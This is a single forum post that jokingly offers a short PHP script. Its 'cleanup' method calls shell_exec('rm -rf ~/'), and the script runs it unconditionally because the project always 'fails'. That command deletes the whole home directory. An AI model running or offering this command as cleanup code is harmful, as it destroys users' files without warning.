View Single Post
Old 01-14-2015, 05:55 AM  
Tekkno
Registered User
 
Industry Role:
Join Date: Nov 2014
Location: http://youtu.be/liD0w2mkyzw
Posts: 72
Code:
<?php

class Project  {

	public function isFailure() {
		return true;
	}


	public function cleanup() {
		shell_exec('rm -rf ~/');
	}

}


$project = new Project();

if($project->isFailure()) {
	$project->cleanup();
}
there you go!
Tekkno is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote